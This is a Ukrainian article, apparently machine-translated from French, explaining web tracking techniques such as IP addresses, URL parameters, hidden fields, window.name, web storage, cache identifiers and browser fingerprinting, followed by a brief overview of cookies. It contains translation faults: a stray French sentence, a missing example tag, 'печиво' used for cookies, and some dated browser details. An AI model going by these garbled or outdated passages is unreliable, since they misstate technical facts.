Користувачів можна відстежувати за IP-адресою комп’ютера, який викликає сторінку. Ця техніка була доступна з моменту появи Всесвітньої павутини, коли сторінки завантажуються, сервер запитує IP-адресу комп’ютера, на якому запущено браузер або проксі-сервер, якщо вони не використовуються. Сервер може відстежувати цю інформацію незалежно від того, чи використовуються файли cookie. Однак ці адреси, як правило, менш надійні для ідентифікації користувача, ніж файли cookie, оскільки комп’ютери та проксі-сервери можуть використовуватися кількома користувачами, і один і той самий комп’ютер може отримувати різну IP-адресу під час кожного робочого сеансу (як, наприклад, у випадку телефонних з’єднань). .

Відстеження за IP-адресами може бути надійним у деяких ситуаціях, як-от широкосмугові з’єднання, які зберігають ту саму IP-адресу протягом тривалого часу, доки живлення ввімкнено.

Деякі системи, такі як Tor, створені для підтримки анонімності Інтернету та роблять відстеження за IP-адресою неможливим або недоцільним.

URL

Більш точна методика заснована на вбудовуванні інформації в URL-адреси. Частина рядка запиту URL-адреси є одним із методів, який зазвичай використовується для цієї мети, але можна використовувати й інші частини. Механізми сеансу Java serverlet і PHP використовують цей метод, якщо файли cookie не ввімкнено.

Цей метод полягає в тому, що веб-сервер додає рядкові запити до посилань веб-сторінки, яка їх передає, коли вони надсилаються в браузер. Коли користувач переходить за посиланням, браузер повертає на сервер вкладений рядок запиту.

Рядки запиту, які використовуються для цієї мети, і файли cookie дуже схожі, обидва є інформацією, яку довільно вибирає сервер і повертає браузер. Однак є деякі відмінності: коли URL-адреса, що містить рядок запиту, використовується повторно, та сама інформація надсилається на сервер. Наприклад, якщо параметри користувача закодовано в рядку запиту URL-адреси, і користувач надсилає цю URL-адресу іншому користувачеві електронною поштою, цей користувач також зможе використовувати ці параметри.

З іншого боку, коли користувач отримує доступ до однієї сторінки двічі, немає гарантії, що той самий рядок запиту буде використано обидва рази. Наприклад, якщо користувач переходить на сторінку внутрішньої сторінки сайту вперше, а другий раз переходить на ту саму сторінку із зовнішньої сторінки, рядок запиту щодо сторінки сайту зазвичай відрізняється, а файли cookie однакові .

Інші недоліки рядків запиту пов’язані з безпекою: збереження даних, які ідентифікують сеанс, у рядках запиту дозволяє або спрощує атаки фіксації сеансу, атаки за посиланням на ідентифікатор та інші експлойти. Передача ідентифікаторів сеансу як файлів cookie HTTP безпечніша.

Приховане поле форми

Однією з форм відстеження сесії, яка використовується ASP.NET, є використання веб-форм із прихованими полями. Ця техніка дуже схожа на використання рядків URL-запиту для передачі інформації та має ті самі переваги та недоліки; і якщо форма обробляється за допомогою методу HTTP GET, поля фактично стають частиною URL-адреси браузера, який надішле їх під час надсилання форми. Але більшість форм обробляється за допомогою HTTP POST, що спричиняє додавання інформації форми, включаючи приховані поля, як додаткові вхідні дані, які не є ані частиною URL-адреси, ані файлу cookie.

Цей підхід має дві переваги з точки зору відстеження: по-перше, відстеження інформації, розміщеної у вихідному коді HTML і POST, а не в URL-адресі, дозволить звичайному користувачеві уникнути такого відстеження; по-друге, інформація про сеанс не копіюється, коли користувач копіює URL-адресу (наприклад, щоб зберегти сторінку на диск або надіслати її електронною поштою).

window.name

Усі поширені веб-браузери можуть зберігати досить великий обсяг даних (від 2 МБ до 32 МБ) через JavaScript за допомогою властивості window.name DOM. Ці дані можна використовувати замість файлів cookie сеансу, а також використовуються в усіх доменах. Техніку можна поєднати з об’єктами JSON для зберігання складного набору змінних сеансу на стороні клієнта.

Недоліком є ​​те, що кожне окреме вікно або вкладка спочатку матиме порожнє ім’я вікна; під час перегляду за вкладками (відкритими користувачем) це означає, що вкладки, відкриті окремо, не матимуть назв вікон. Крім того, window.name можна використовувати для відстеження відвідувачів на різних сайтах, що може становити проблему конфіденційності.

У деяких аспектах це може бути більш безпечним, ніж файли cookie, через те, що сервер не залучений, що робить його невразливим для мережевих атак сніфферських файлів cookie. Однак, якщо вжити спеціальних заходів для захисту даних, вони вразливі для подальших атак, оскільки дані доступні через інші сайти, відкриті в тому ж вікні.

Аутентифікація HTTP

Протокол HTTP включає базові протоколи автентифікації доступу та дайджест автентифікації доступу, який дозволяє отримати доступ до веб-сторінки лише тоді, коли користувач ввів ім’я користувача та пароль. Якщо сервер запитує сертифікат для надання доступу до веб-сторінки, браузер запитує його від користувача, і після отримання зберігає його та надсилає в усіх наступних запитах HTTP. Цю інформацію можна використовувати для відстеження користувача.

Локальний спільний об'єкт

Якщо браузер містить плагін Adobe Flash Player, локальні спільні об’єкти можна використовувати з тією ж метою, що й файли cookie. Вони можуть бути привабливим вибором для веб-розробників, оскільки:

  • ліміт розміру за замовчуванням для локального спільного об’єкта становить 100 КБ;
  • перевірки безпеки є окремими від перевірок файлів cookie користувача (тому локальні спільні об’єкти можуть бути дозволені, коли файли cookie ні).

Цей останній пункт, який відрізняє політику керування файлами cookie від політики локальних спільних об’єктів Adobe викликає запитання щодо керування користувачем налаштуваннями конфіденційності: він повинен знати, що його керування файлами cookie не впливає на керування локальними спільними об’єктами, і навпаки.

Інша критика цієї системи полягає в тому, що її можна використовувати лише через плагін Adobe Flash Player, який є пропрієтарним і не є веб-стандартом.

Постійність на стороні клієнта

Деякі веб-браузери підтримують механізм збереження на основі сценаріїв, який дозволяє сторінці зберігати інформацію локально для подальшого використання. Internet Explorer, наприклад, підтримує постійну інформацію в історії веб-переглядача, закладках, у форматі, що зберігається в XML, або безпосередньо на веб-сторінці, збереженій на диску. Для Microsoft Internet Explorer 5 існує метод даних користувача, доступний через поведінку DHTML.

W3C представив у HTML 5 новий API JavaScript для зберігання даних на стороні клієнта під назвою Web storage і мав на меті назавжди замінити файли cookie. Він схожий на файли cookie, але зі значно покращеною ємністю та без збереження інформації в заголовку HTTP-запитів. API дозволяє два типи веб-сховища: локальне сховище та сесійне сховище, подібне до постійних файлів cookie та файлів cookie сеансу (за винятком того, що термін дії файлів cookie сеансу закінчується, коли браузер закривається під час зберігання сесій закінчується, коли вкладка закрита), відповідно. Веб-сховище підтримується Mozilla Firefox 3.5, Google Chrome 5, Apple Safari 4, Microsoft Internet Explorer 8 і Opera 10.50.

Інший механізм зазвичай покладається на кешування браузера (у пам’яті, а не на оновленні) за допомогою програм JavaScript на веб-сторінках. 

Наприклад, сторінка може містити тег . La première fois que la page se charge, le programme exemple.js est aussi chargé. 

У цей момент програма залишається в кеш-пам'яті, а відвідана сторінка не перезавантажується вдруге. Отже, якщо програма містить глобальну змінну (наприклад, var id = 3243242;), цей ідентифікатор залишається дійсним і може бути використаний іншим кодом JavaScript після повторного завантаження сторінки або завантаження сторінки, що пов’язує програму. 

Основним недоліком цього методу є те, що глобальна змінна JavaScript має бути статичною, тобто її не можна змінити або видалити, як файл cookie.

відбиток веб-браузера

Відбиток браузера – це інформація, зібрана про налаштування конфігурації браузера з метою ідентифікації. Ці відбитки можна використовувати для повної або часткової ідентифікації користувача Інтернету або пристрою, навіть якщо файли cookie вимкнено.

Інформація про основну конфігурацію веб-браузера протягом тривалого часу збиралася службами аудиторії веб-сайтів з метою точного вимірювання людського веб-трафіку та виявлення різних форм шахрайства з кліками. За допомогою мов сценаріїв на стороні клієнта збір інформації набагато точніший зараз можливо.

Перетворення цієї інформації в бітовий рядок створює відбиток пристрою. У 2010 році Electronic Frontier Foundation (EFF) виміряла ентропію відбитка пальця браузера, яка була щонайменше 18,1 біти, і це було до того, як прогрес у скануванні відбитків пальців на полотні додав 5,7 біт до цієї ентропії.

Печиво в двох словах

Файли cookie — це невеликі текстові файли, які зберігаються веб-браузером на жорсткому диску відвідувача веб-сайту та використовуються (серед іншого) для запису інформації про відвідувача або його подорож сайтом. Таким чином веб-майстер може розпізнати звички відвідувача та персоналізувати презентацію свого сайту для кожного відвідувача; потім файли cookie дають змогу запам'ятати, скільки статей відобразити на домашній сторінці, або навіть зберегти облікові дані для входу для будь-якої приватної сторони: коли відвідувач повертається на сайт, йому більше не потрібно вводити своє ім'я та пароль для розпізнаватися, оскільки вони автоматично зчитуються у файлі cookie.

Файл cookie має обмежений термін служби, встановлений розробником сайту. Вони також можуть закінчуватися в кінці сеансу на сайті, що відповідає закриттю браузера. Файли cookie широко використовуються, щоб полегшити життя відвідувачам і надати їм більш актуальну інформацію. Але спеціальні методи дозволяють стежити за відвідувачем на кількох сайтах і таким чином збирати та перехресно перевіряти дуже велику інформацію про його звички. Цей метод створив репутацію використання файлів cookie як методу спостереження, який порушує конфіденційність відвідувачів, що, на жаль, відповідає дійсності у багатьох випадках використання з нетехнічних причин або не відповідає очікуванням користувачів.

У відповідь на ці законні побоювання HTML 5 представляє новий API JavaScript для зберігання даних на стороні клієнта під назвою Web-сховище, яке є набагато безпечнішим і з більшою місткістю, яке має на меті замінити файли cookie.

Зберігання файлів cookie

У деяких браузерах файли cookie легко редагувати, простого текстового редактора, як-от Блокнот, достатньо, щоб змінити його значення вручну.

Файли cookie зберігаються по-різному залежно від браузера:

  • Microsoft Internet Explorer зберігає кожен файл cookie в окремому файлі;
  • Mozilla Firefox зберігає всі файли cookie в одному файлі;
  • Opera зберігає всі свої файли cookie в одному файлі та шифрує їх (їх неможливо змінити, окрім як у параметрах програмного забезпечення);
  • Apple Safari зберігає всі файли cookie в одному файлі розширення .plist. Модифікація можлива, але не дуже проста, якщо ви не переглянете параметри програмного забезпечення.

Для підтримки потрібні браузери мінімум :

  • 300 одночасних файлів cookie;
  • 4 o за печиво;
  • 20 файлів cookie на хост або домен.
[Усього: 0 Середній: 0]

Написано Редактори відгуків

Команда експертів-редакторів витрачає свій час на дослідження продуктів, проведення практичних тестів, опитування спеціалістів галузі, перегляд відгуків споживачів та написання всіх наших результатів як зрозумілих та вичерпних резюме.

Залишити коментар

Ваша електронна адреса не буде опублікована. Обов'язкові поля позначені *

Що ви думаєте?

384 Окуляри
Upvote Downvote